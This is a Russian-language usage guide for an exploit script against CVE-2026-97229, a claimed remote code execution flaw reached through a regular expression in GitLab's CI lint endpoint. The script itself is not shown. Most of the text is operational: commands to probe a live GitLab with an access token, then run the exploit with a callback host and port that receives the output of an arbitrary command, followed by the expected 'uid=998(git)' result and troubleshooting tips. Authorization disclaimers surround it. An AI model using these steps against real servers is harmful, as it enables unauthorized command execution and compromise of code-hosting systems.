
Эксплойт на Python для CVE-2026-97229 — RCE через регулярное выражение в GitLab CI lint. Создаёт проект, отправляет вредоносную конфигурацию CI, вызывает endpoint проверки lint и получает вывод команды через HTTP-callback.
CVE-2026-97229 — внешний эксплойт для RCE через regex в GitLab CI lint. Он используется только против живого целевого GitLab с разрешения. Он создаёт проект, отправляет вредоносную конфигурацию CI, вызывает эндпоинт CI lint и получает вывод команды через HTTP-callback. Это только для авторизованных исследований в области безопасности.
CVE-2026-97229 External — используйте на свою ответственность и только для легального тестирования
##Только для исследовательских целей. Используйте только в своих системах или в системах, на которые у вас есть письменное разрешение.
Этот инструмент предназначен только для живого целевого GitLab. Он не будет работать на недоступной цели, резервной копии или недостижимом хосте.
Требования
Сохранение файла
Сохраните код эксплойта как:
cve97229_ext.py
Создание файла scope
Если ваша цель:
https://gitlab.example.local
Создайте scope.txt:
echo "gitlab.example.local" > scope.txt
Шаг 1 — Проверка цели
Запустите:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "GITLAB_TOKEN"
Пример:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "glpat-AbCdEf1234567890"
Хороший результат:
"gitlab_signal": true
Если версия видна, вы можете увидеть:
"version": "19.4.0"
Шаг 2 — Запуск против живой цели
Запустите:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "GITLAB_TOKEN" --callback-host YOUR_IP --callback-port 8000 --command "id"
Пример:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "glpat-AbCdEf1234567890" --callback-host 192.168.1.50 --callback-port 8000 --command "id"
Замените:
GITLAB_TOKEN = ваш токен GitLab
YOUR_IP = IP вашей машины, доступный с целевой системы
Результат
В случае успеха вы увидите:
"status": "RCE"
и вывод вида:
"output": "uid=998(git) gid=998(git) groups=998(git)"
Частые проблемы
out-of-scope:
Исправьте scope.txt.
no-write-path:
Токен отсутствует или недействителен.
known-patched:
Версия цели исправлена.
no-callback:
Цель не смогла подключиться обратно к вам.
Проверьте YOUR_IP, firewall и сетевой доступ.
Важно
Цель должна быть живой и доступной.